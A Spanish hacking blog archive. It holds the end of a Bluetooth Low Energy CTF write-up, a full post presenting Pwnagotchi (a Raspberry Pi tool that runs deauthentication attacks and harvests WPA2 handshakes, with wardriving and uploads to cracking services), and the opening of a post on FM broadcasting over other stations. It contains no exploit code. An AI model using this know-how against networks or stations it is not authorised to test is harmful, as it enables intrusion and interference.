<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7qUjTBL-jiu9EIDgBabxmcQP4wl1644l7896jYhhKMM2JBtd1Y1gM0dXsjDfRF4ztu0ZrpKZGDWvdW_jWEclMWTlJTBoZ-QoDm3AeqSn16W3OCm5HFMho5LSSWgiJI0wHikvqyclbJYs/s1600/Flag19_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="40" data-original-width="357" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7qUjTBL-jiu9EIDgBabxmcQP4wl1644l7896jYhhKMM2JBtd1Y1gM0dXsjDfRF4ztu0ZrpKZGDWvdW_jWEclMWTlJTBoZ-QoDm3AeqSn16W3OCm5HFMho5LSSWgiJI0wHikvqyclbJYs/s1600/Flag19_00.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Básicamente lo que viene a indicarnos es que la flag completa esta separada en dos partes y tenemos que reconstruirla utilizando dos técnicas que ya hemos visto en los retos anteriores: para ello en primer lugar vamos a escribirla con un valor alto, la leemos y tendremos media flag. Para la segunda mitad lanzamos request quedando a la escucha y capturamos la segunda mitad de la flag en modo de notificación.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjWm0wEP0mQQ5cz9pXTHLtjskUCuFYSxvYhv2SSZ5lL9v5f6XF95xlynIN8a8RgRNo4Ps6-TG99BKEnkhjgGIn928SCp3KolCZ414BUilSloIIlbBVcEXgs_1CpBrbXFJgm412BvBxRvM/s1600/Flag19_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="361" data-original-width="877" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjWm0wEP0mQQ5cz9pXTHLtjskUCuFYSxvYhv2SSZ5lL9v5f6XF95xlynIN8a8RgRNo4Ps6-TG99BKEnkhjgGIn928SCp3KolCZ414BUilSloIIlbBVcEXgs_1CpBrbXFJgm412BvBxRvM/s1600/Flag19_01.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
<h4>
Flag 0x0056</h4>
</div>
</div>
<div>
<div style="text-align: justify;">
El último reto no es difícil, pero es un buen colofón al CTF: al leer en handle vemos que os pide el MD5 del Twitter del creador.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioiXcUkOSeFTuian1fuD7l_fksqKlULQjDeDBDlyypg8qh3rKDz99JFP65ESGw_FFcW6wwt8jMviY5AZxjHUK_521uh0VHSdGvHVlaPk9u9U8NBvozx-yCWvaYHSgDxknd3dgcyLBuBXA/s1600/Flag20_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="39" data-original-width="340" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioiXcUkOSeFTuian1fuD7l_fksqKlULQjDeDBDlyypg8qh3rKDz99JFP65ESGw_FFcW6wwt8jMviY5AZxjHUK_521uh0VHSdGvHVlaPk9u9U8NBvozx-yCWvaYHSgDxknd3dgcyLBuBXA/s1600/Flag20_00.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Es repetir el mismo proceso que en uno de los primeros retos que si recordáis nos pedían el MD5 del nombre del dispositivo, pero esta vez con el Twitter del creador que es <a href="https://twitter.com/hackgnar" target="_blank">@hackgnar</a> así que vamos a ello.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMCj_2hnOa1dG7dbg7BAGg9HD-FSD7EVU644Rlkg8qxnPujLuABEQOONTorfFgyNIzVpoC0MbjJJwxKxHxMxtfH5m1eJ_47pJV3U7DkWOMNEpkFCgptCPwencEnM5ftzQ_bGFknUq3EH8/s1600/Flag20_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="41" data-original-width="374" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMCj_2hnOa1dG7dbg7BAGg9HD-FSD7EVU644Rlkg8qxnPujLuABEQOONTorfFgyNIzVpoC0MbjJJwxKxHxMxtfH5m1eJ_47pJV3U7DkWOMNEpkFCgptCPwencEnM5ftzQ_bGFknUq3EH8/s1600/Flag20_01.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Y ya solo nos falta probar suerte y meter la flag, comprobar puntuación y observar si por fin hemos finalizado el CTF!!</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdjn5DVTrYi7uZNq11cgIjozV6_zqU0FcfApjcIZZxZgV4ScUQhPSlyauO5druh_vj3fv6iPtBsmKem3NRvrUuao1o1dVcEJlrKL0hwLezm29w1zPSRVDWVXUSaWYPu2IMiX0z_4CpeVE/s1600/Flag20_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="96" data-original-width="530" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdjn5DVTrYi7uZNq11cgIjozV6_zqU0FcfApjcIZZxZgV4ScUQhPSlyauO5druh_vj3fv6iPtBsmKem3NRvrUuao1o1dVcEJlrKL0hwLezm29w1zPSRVDWVXUSaWYPu2IMiX0z_4CpeVE/s1600/Flag20_02.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Y esto es todo por ahora! Hemos terminado el CTF! Enhorabuena si lo habéis seguido y habéis llegado hasta la meta, pero sobre todo por el mérito que tiene que hayáis leído hasta este párrafo!</div>
</div>
<div>
<div style="text-align: justify;">
Siento que al final haya quedado un post tan extenso y siento haberos metido toda esa morralla de teoría al principio, pero si de algo me ha servido personalmente este proyecto más allá de "jugar el CTF" ha sido para obligarme a documentarme sobre Bluetooth y BLE y, aunque por supuesto aún me queda un mundo por aprender sobre ello, consideré necesario e interesante presentar algunos de los fundamentos con los que más adelante íbamos a interacturar en mayor o en menor medida a lo largo de los retos.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Espero que lo hayáis disfrutado y os haya sido de utilidad, si os animáis a hacer el proyecto y experimentar con ello y tenéis cualquier duda en la que pueda ayudaros no dudéis en contactarme!! </div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<br /></div>
</div>
Hacker de Cabecerahttp://www.blogger.com/profile/04109447777461913594noreply@blogger.com4tag:blogger.com,1999:blog-7944950214559293430.post-35498237134751872622019-10-25T08:25:00.000+02:002019-10-26T12:22:31.457+02:00Pwnagotchi, un adorable nuevo gadget para auditar redes WiFi<div style="text-align: justify;">
Hoy vengo a hablaros de lo que a simple vista parece un simple gadget pero que realmente más que eso, detrás de su aspecto amigable y "de juguete" se esconde una gran herramienta que puede facilitarnos mucho las cosas y automatizarnos de forma autónoma algunos pasos en nuestras auditorias inalámbricas: el <b>Pwnagotchi</b>!!</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUy03DY02kZNXjFr02mXrmJ5w_yQ4SNHTaeuIUsGSQ2eObNq2weyi589bhfRr-2NihY-Ls_S71jPciAytlyCK9TvybmE-MHKR4nKHtOoBtZ_LIJ6T-D_5-Q92Cnv89GBvSF-4gcBaXEkQ/s1600/IMG_1791.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1124" data-original-width="1516" height="295" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUy03DY02kZNXjFr02mXrmJ5w_yQ4SNHTaeuIUsGSQ2eObNq2weyi589bhfRr-2NihY-Ls_S71jPciAytlyCK9TvybmE-MHKR4nKHtOoBtZ_LIJ6T-D_5-Q92Cnv89GBvSF-4gcBaXEkQ/s400/IMG_1791.JPG" width="400" /></a></div>
<br />
<a name='more'></a><h3>
Pwn-a-que!!??</h3>
<div>
<div style="text-align: justify;">
Pwnagotchi, si, en una clara reminiscencia a aquel juguete electrónico-tecnológico de mediados de los 90 llamado <a href="https://es.wikipedia.org/wiki/Tamagotchi" target="_blank">Tamagotchi</a> que nacía de de un huevo en una pantalla LCD y acaparaba periódicamente nuestra atención solicitando comida, juegos y mas atenciones mientras iba creciendo... pero este Pwnagotchi es totalmente autónomo y solo hace una cosa: comer!, se alimenta "zampando" handshakes WPA de toooooda aquella red WiFi que pilla a su alcance, constantemente y sin cesar pero de modo inteligente añadido (aunque a veces tratará de seducirte y hacerte guerra psicológica poniendo caritas tristes y pidiéndote que lo lleves pasear a la vez que te dice lo aburrido que está).</div>
<div style="text-align: justify;">
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQJPOcnM2AzRvkgyp2uMn2FRW7YPg_veViO5_1NG3ESY4Eemq2A8VBLjtD59AA9lNwbCTSckUwDw2q6_R9FE9f3Wnw4lVEMLTbsU9xnhzHA6Hdp9Vim7CyRoslEFg0vkHPvxx0g0Bi1To/s1600/IMG_1992.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQJPOcnM2AzRvkgyp2uMn2FRW7YPg_veViO5_1NG3ESY4Eemq2A8VBLjtD59AA9lNwbCTSckUwDw2q6_R9FE9f3Wnw4lVEMLTbsU9xnhzHA6Hdp9Vim7CyRoslEFg0vkHPvxx0g0Bi1To/s400/IMG_1992.JPG" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Thrust, mi pwangotchi, en un día aburrido falto de redes al alcance y handshakes que zampar.</td></tr>
</tbody></table>
<br /></div>
<div>
<div style="text-align: justify;">
Pwnagotchi es un proyecto desarrollado y llevado a cabo por <a href="https://twitter.com/evilsocket" target="_blank">@evilsocket</a> (creador de la conocida herramienta <a href="https://www.bettercap.org/" target="_blank">Bettercap</a> enfocada al reconocimiento, escaneo y ataques de red) y cuyo objetivo inicial primitivo que persigue es el de "weaponizar" una Raspberry Pi Zero W sacando el máximo jugo de la Rest API de Bettercap y dotando de una interface gráfica que permita seguir de cerca sus avances (y de paso para ponerle "cara" al bicho) para lo cual implementa compatibilidad para 4 modelos diferentes de pantallas de tinta liquida e-ink.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Lo que empezó en sus inicios siendo solo un dispositivo para realizar "deauth-attacks" y almacenamiento de los handshakes WPA2 de forma automatizada pronto cobró inteligencia mediante TensorFlow y aprendizaje por refuerzo (Deep Reinforcement Learning) para adaptarse así al entorno al entorno que lo rodea en todo momento y volverte aún más selectivo y efectivo en la recolección de los handhsakes (para los interesados en sabes más sobre AI y A2C os dejo <a href="https://towardsdatascience.com/understanding-actor-critic-methods-931b97b6df3f" target="_blank">este</a> y <a href="https://hackernoon.com/intuitive-rl-intro-to-advantage-actor-critic-a2c-4ff545978752" target="_blank">este</a> link).</div>
<div style="text-align: justify;">
Entre todas las cosas que Pwnagotchi aprendió esta la de comunicarse con sus iguales! Y es que si detecta otro pwnagotchi en las inmediaciones, automáticamente se asocian entre ellos y comienzan a trabajar en modo colaborativo (por ejemplo repartiéndose el numero de canales WiFi en los que ir analizando redes disponibles publicadas).</div>
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfIXa1qyV7IhGylcThf3H8K8_Au2thkceR4dN4l4TXcO4S7iYdXtJetxA124eVGqSqQsylAdvpXD8HtG5hSd3WkChjZ52K3hzxh3P_KTAyJfVHWwJN3-VJJygb8Ey9-i19mRt2SbXAsC8/s1600/IMG_1913.HEIC" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfIXa1qyV7IhGylcThf3H8K8_Au2thkceR4dN4l4TXcO4S7iYdXtJetxA124eVGqSqQsylAdvpXD8HtG5hSd3WkChjZ52K3hzxh3P_KTAyJfVHWwJN3-VJJygb8Ey9-i19mRt2SbXAsC8/s400/IMG_1913.HEIC" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Cuando Thrust encontró a Grijander...</td></tr>
</tbody></table>
<br />
<div style="text-align: justify;">
Recientemente no deja de recibir upgrades e implementaciones nuevas como diferentes caras/gestos, soporte para diferentes idiomas o un modulo crypto para el intercambio de mensajes cifrados extremo a extremo con las claves RSA entre distintas unidades pwnagotchi.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<br /></div>
<h3>
Hardware necesario</h3>
<div>
<div style="text-align: justify;">
Para todos los que os animéis a probarlo, a continuación os pongo el listado de hardware necesario para llevarlo a buen puerto:</div>
</div>
<div>
<ul>
<li style="text-align: justify;"><b>Raspberry Pi zero W</b> (aunque teóricamente también corre sin problema en Raspberry standard en sus versiones 3 y 4, yo lo he instalado con éxito en una 3B).</li>
<li style="text-align: justify;"><b>Tarjeta MicroSD</b> de, al menos, 8 Gb.</li>
<li style="text-align: justify;"><b>Cable USB-MicroUSB</b> que, además de carga, permita también el intercambio de datos si queremos alimentar la raspberry a través del puerto USB de nuestro ordenador (lo cual también nos ofrece posibilidad de compartirle la conexión a Internet desde el ordenador y el acceso por navegador web a la interface de usuario). </li>
<li style="text-align: justify;"><b>[<u>Opcional</u>] Powerbank</b> (yo personalmente uso una standard de petaca, pero si queréis algo que se ajuste a las medidas de la Raspi puedes valorar una PiSugar PowerPack o UPS Lite V1.1). Lo marco como opcional porque tenemos una opción muy interesante de alimentar nuestra RasPi através del puerto usb</li>
<li style="text-align: justify;"><b>[<u>Opcional</u>] Pantalla e-ink</b>: en el momento de escribir este artículo las pantallas compatibles con las Waveshare eInk 2.13” Display (en ambas versiones V1 and V2), Pimoroni Inky pHAT y PaPiRus eInk Screen. Lo marco como opcional porque Pwnagotchi nos ofrece una UI web a la que podemos acceder a través del navegador cuando la conectamos a nuestro ordenador para alimentarla.</li>
</ul>
<div>
<br /></div>
</div>
<h3>
Proceso de Instalación</h3>
<div>
<div style="text-align: justify;">
En el momento de escribir este artículo estamos de suerte y gracias al esfuerzo de su creador ya han quedado atrás la instalación manual de Bettercap, R4ason-Kernel, Tensorflow y el resto de dependencias y librerías necesarias en las primeras versiones del proyecto (algún fin de semana entero ha caído tirándome de los pelos con ello, lo reconozco!).</div>
</div>
<div>
<div style="text-align: justify;">
Actualmente el proceso se limita a descargar la última versión de la imagen estable desde <a href="https://github.com/evilsocket/pwnagotchi/releases" target="_blank">la sección de despliegues de su GitHub</a> y proceder a planchar esa imagen en la tarjeta MicroSD.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
Hay unos <a href="https://pwnagotchi.ai/configuration/" target="_blank">pasos de configuración previos al primer arranque</a> que deben realizar y que pueden llevarse a cabo directamente sobre el sistema de archivos de la MicroSD una vez montando la unidad.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b><span style="color: red;">IMPORTANTE</span></b>: en el primer arranque, todo tarda un poco mas de lo normal en ponerse "en el sitio" y en empezar a funcionar, es debido a la creación de las claves RSA. Es importante ser pacientes y no caer en la tentación de interrumpir el suministro electricio de la Raspberry pues puede corromper el sistema.</div>
<div style="text-align: justify;">
<br /></div>
<br /></div>
<div>
<h3>
Usando el Pwnagotchi</h3>
<div style="text-align: justify;">
Tal como ya se ha descrito mas arriba, el pwnagotchi es totalmente autónomo (siempre y cuando tenga alimentación externa) pero su modo de funcionamiento (<b>AUTO </b>o <b>MANUAL</b>) vendrá determinado por el modo de alimentación con el que arranquemos nuestra Rapsberry.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Si la RPi0W arranca con alimentación por el puerto MicroUSB de solo alimentación (el mas cercano al borde de la placa) en cuanto levante el sistema y nuestra pantalla empiece a refrescarse ya comenzará a buscar redes WiFi y tratar de capturar sus handshakes. Si por el contrario usamos el otro puerto MicroUSB cuando la alimentamos desde nuestro ordenador para, por ejemplo, compartirle la conexión a Internet o conectarnos por SSH ella, el sistema inicia pero el Pwnagotchi no comenzará a rastrear WiFI hasta que no arranquemos manualmente el servicio pero si tendremos acceso a la interface web tanto de Pwnagotchi como de Bettercap.</div>
<br />
<div style="text-align: center;">
<img alt="ui" height="230" src="https://i.imgur.com/uLdQYqF.png" width="400" /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<div style="text-align: justify;">
Existe un tercer modo (habilitado por defecto en la configuración) llamado <b>AI</b> al que cambia el modo AUTO después de unos 20/30 minutos, que son los que necesita el sistema para cargar las dependencias de la red neuronal. Una vez que las dependencias están cargadas el modo AI escogerá el conjunto óptimo de parámetros a utilizar en sus rastreos de redes en tiempo real dependiendo de cuánto tiempo haya sido entrenado.</div>
</div>
<div style="text-align: left;">
<div style="text-align: justify;">
<br /></div>
</div>
<div style="text-align: left;">
<div style="text-align: justify;">
En la <a href="https://pwnagotchi.ai/" target="_blank">página oficial del proyecto</a> el creador os ofrece fotografías e informaciones detalladas y claras sobre cada una de las información que se muestran en la interface gráfica del Pwnagotchi.</div>
</div>
<br />
<div style="text-align: center;">
<img alt="ui" height="436" src="https://i.imgur.com/c7xh4hN.png" width="640" /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<h3 style="text-align: left;">
Usando el Pwnagotchi sin pantalla, a través del navegador</h3>
<div>
<div style="text-align: justify;">
Si no disponemos de pantalla e-ink pero queremos visualizar la GUI del Pwnagotchi tenemos la opción de alimentar la RPi0W desde un puerto usb de nuestro equipo como indiqué más arriba. Al conectar la rapsberry a nuestro ordenador, este la reconocerá como un adaptador de de red y para poder conectarnos a ella debemos asignarle una IP estática acorde a la siguiente configuración:</div>
</div>
<div>
<ul>
<li style="text-align: justify;"><b>IP: 10.0.01</b></li>
<li style="text-align: justify;"><b>Mask: 255.255.255.0</b></li>
<li style="text-align: justify;"><b>Gateway: 10.0.0.1 </b></li>
</ul>
</div>
<div style="text-align: justify;">
Una vez aplicados los cambios probaremos conectividad lanzando un ping a la ip del pwnagotchi (por defecto 10.0.0.2) y si obtenemos respuesta ya podremos conectarnos a ella mediante SSH e igualmente acceder a su interface web dedicada navegando a http://10.0.0.2:8080</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_SKQR0UV9ykSYEnJgxRnVLzVeoIoZh2wmvsIdMpin5Dhtz339e-VkK1xuVrL2a-iN8aUUxFgLjE1lsLoht-Z8IRCLS_RIYCiIVJ_vyjWOScpMzAN2DvhCT-50KCkgaXVpIKorc6BHYJI/s1600/2019-10-22_20-29-58.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="300" data-original-width="494" height="242" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_SKQR0UV9ykSYEnJgxRnVLzVeoIoZh2wmvsIdMpin5Dhtz339e-VkK1xuVrL2a-iN8aUUxFgLjE1lsLoht-Z8IRCLS_RIYCiIVJ_vyjWOScpMzAN2DvhCT-50KCkgaXVpIKorc6BHYJI/s400/2019-10-22_20-29-58.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br /></div>
<div style="text-align: justify;">
Nota: http://pwnagotchi.local:8080/ también nos dará acceso pero en algunos casos dependiendo de si el OS host de nuestro equipo sea windows, quizás necesitamos la <a href="https://support.apple.com/kb/DL999?locale=es_ES&viewlocale=es_ES" target="_blank">instalación de Bonjour</a> para que reconozca el .local en las url.<br />
<br />
Si en vez de a la UI de Pwnagotchi queremos acceder a la UI de Bettercap, debemos acceder directamente a http://pwnagotchi.local (sin especificar ningún puerto esta vez).<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCXar8jY3tmucn-CwtNqVN5wJ-y32gJt_PRjb8WfV77MxoayCSr_Lakd_gFDCQ6B_UHvS_tfISvBVZeCrKMV8n56cORlqtGz9iCdsl2eTVGaPBPU0Yced6SB2nCigQO2SBVSnE_Z3g4EM/s1600/2019-10-24_23-09-05.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="686" data-original-width="974" height="448" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCXar8jY3tmucn-CwtNqVN5wJ-y32gJt_PRjb8WfV77MxoayCSr_Lakd_gFDCQ6B_UHvS_tfISvBVZeCrKMV8n56cORlqtGz9iCdsl2eTVGaPBPU0Yced6SB2nCigQO2SBVSnE_Z3g4EM/s640/2019-10-24_23-09-05.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
</div>
<div style="text-align: justify;">
<br /></div>
<br />
<h3>
Plugins y mas funcionalidades</h3>
<div style="text-align: justify;">
Por defecto el sistema dispone de varios plugins ya pre-cargados que podemos utilizar a nuestro antojo entre los que se encuentran algunos muy interesantes como por ejemplo almacenar las ubicaciones GPS de las redes que procesa (muy práctico para wardriving) o la posibilidad de subir automáticamente los handshakes a 3 plataformas online de cracking WPA2 (cuando le compartas conexión a Internet).</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1ROcO7e38LXnrjAMHX8bAeFoQ9f_BIcNH0eBmvF0XYeNyuWd4_DaBJT5ZMgSA1qhXSVRXQ5cXd8yxrVwkWI1elpKqqL-7JlWY6ZSIX82bWkj8dYszA3IyduQduo6DQIAesUOwduGNEMc/s1600/24-10-2019+11-32-00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="633" data-original-width="1106" height="227" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1ROcO7e38LXnrjAMHX8bAeFoQ9f_BIcNH0eBmvF0XYeNyuWd4_DaBJT5ZMgSA1qhXSVRXQ5cXd8yxrVwkWI1elpKqqL-7JlWY6ZSIX82bWkj8dYszA3IyduQduo6DQIAesUOwduGNEMc/s400/24-10-2019+11-32-00.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<br />
<h3>
Conclusiones y Opiniones personales</h3>
<div>
<div style="text-align: justify;">
Lo cierto es que he de admitir que para mi este proyecto ha sido muy emocionante en cuanto a su "nacimiento" y el ímpetu y el grandísimo esfuerzo de su creador que se esfuerza en todo momento en implementar mejoras, updates y es un proyecto que esta muy "vivo" y que no para de crecer.</div>
<div style="text-align: justify;">
Cuando empecé las primeras instalaciones manualmente en los inicios y después a crear mis propias imágenes con las primeras versiones reconozco que era un poco engorroso y que algunas dependencias fueron muy duras de pelar pero actualmente el proceso es infinitamente fácil y sencillo tan solo descargando la imagen y grabándola en la MicroSD!</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Además su funcionamiento a parte de autónomo es sorprendentemente rápido "pwneando" redes WiFi y obteniendo los handhsakes; si te dispones a hacer una auditoria WiFi es fácil llevarlo en la mochila ya funcionando a modo wardriving o conectarlo al llegar a las inmediaciones del objetivo y dejarlo encima de la mesa mientras arrancas tu portátil y te tomas un café seguramente ya cuentes con el preciado handshake!</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
La parte mala (o mejor dicho: menos buena) es que a partir de la obtención del handshake ya es asunto nuestro que hacer con ello, pero si lo que queremos es crackearlo (siempre en laboratorios propios controlados o bien en auditorias previamente formalizadas por contrato... por supuesto!!! :-P ) las limitaciones de recursos de la rapsberry lo hacen inviable y lógicamente debemos de pasarnos lo a otro equipo mas potente y utilizar <a href="https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2" target="_blank">herramientas y procedimientos enfocados al cracking de WPA/WPA2</a>. Sed buenos!!!!</div>
<div style="text-align: justify;">
<br /></div>
<br />
<h3>
Un par de cosas más</h3>
Solo un par de apreciaciones totalmente personales sobre dos componentes: la carcasa y la pantalla de tinta liquida.<br />
<br />
Respecto a las carcasa, si disponéis de impresora 3D hay múltiples modelo por la red, la que mas me gusta y que podéis ver en las fotos es la desarrollada por <a href="https://twitter.com/elkentaro" target="_blank">elkentaro </a>y podéis encontrarla <a href="https://www.thingiverse.com/thing:3879459" target="_blank">en thingiverse</a>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh16g3f6VqFYYO4XBUsJMAiMvqzvHzenmZDxLxwyAxEgc5YEUorkabdySHHEJLp60IxIu9ZrlB8_IwajI05FpZbl2t4QcueJZ3GWshwa5pE4tdOQQB3GQM43fQsm25LcexX410usXU4_M/s1600/IMG_1844.HEIC" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh16g3f6VqFYYO4XBUsJMAiMvqzvHzenmZDxLxwyAxEgc5YEUorkabdySHHEJLp60IxIu9ZrlB8_IwajI05FpZbl2t4QcueJZ3GWshwa5pE4tdOQQB3GQM43fQsm25LcexX410usXU4_M/s400/IMG_1844.HEIC" width="400" /></a></div>
<br />
<br />
La otra alternativa que también me gusta mucho respecto a las carcasas es la de <a href="https://twitter.com/DorkfeastTeam" target="_blank">OutOfStep </a>también en <a href="https://www.thingiverse.com/thing:3849519" target="_blank">thingiverse</a>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSHRC_O6YLdqUaDErMBCeZIjwQsqqatkvu-uG42bHlmlFX3U9g87Qslcn1zDhYlfajvMAnXRCJxZ7ggpJCB-EAwHk1PcAn2RuqrTD9dLq3Bb7Uz9IrlNAhLfYtU6rMJkG8K3QZFCHkN9s/s1600/IMG_1997.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSHRC_O6YLdqUaDErMBCeZIjwQsqqatkvu-uG42bHlmlFX3U9g87Qslcn1zDhYlfajvMAnXRCJxZ7ggpJCB-EAwHk1PcAn2RuqrTD9dLq3Bb7Uz9IrlNAhLfYtU6rMJkG8K3QZFCHkN9s/s400/IMG_1997.JPG" width="400" /></a></div>
<br />
<br />
<br />
Respecto a las pantallas, como podéis observar en las fotos, basándome en mi experiencia personal puedo hablar de la Waveshare V2 y de las Pimoroni PinkyHAT. Me gusta bastante mas la primera, el refresco de pantalla (que por defecto lo hace cada 3 segundos) es mucho mas suave en la Waveshare que en la Pimoroni, y se reduce en gran medida el "image ghosting". Próximamente trataré de subir un vídeo comparativo para que decidáis por vosotros mismos!<br />
<br />
<br />
<br />
<br />
<br />
Espero que os haya gustado la entrada y que os animéis con el proyecto, es sencillo y muy interesante. Además, el número de pwnagotchis registrados por todo el mundo crece a diario en el <a href="https://pwnagotchi.ai/map/" target="_blank">PWNMAP</a> ¿Quieres formar parte de esta invasión? ;-)<br />
<br />
<br />
Saludos!!!!!</div>
</div>
Hacker de Cabecerahttp://www.blogger.com/profile/04109447777461913594noreply@blogger.com1tag:blogger.com,1999:blog-7944950214559293430.post-71590336239995563522018-07-28T13:08:00.000+02:002019-10-24T12:03:30.439+02:00Emitiendo frecuencias de radio FM (y "pisando" otras) con una Raspberry Pi<div style="text-align: justify;">
Después de muchos meses de inactividad motivado por estudios y obligaciones, hoy estoy de vuelta con la una entrada que levaba mucho tiempo queriendo hacer. Y es que, aunque he descubierto hace muy poco el mundo de las señales y del SDR (Software Defined Radio), he de reconocer que es un mundo que me gusta bastante y me llama mucho la atención (gran culpa de ello la tiene el <a href="https://www.davidmarugan.es/" target="_blank">Sr. David Marugán</a>, al que aprovecho para enviar un saludo y agradecer su ayuda y orientación en la confección de este entrada!!!).</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
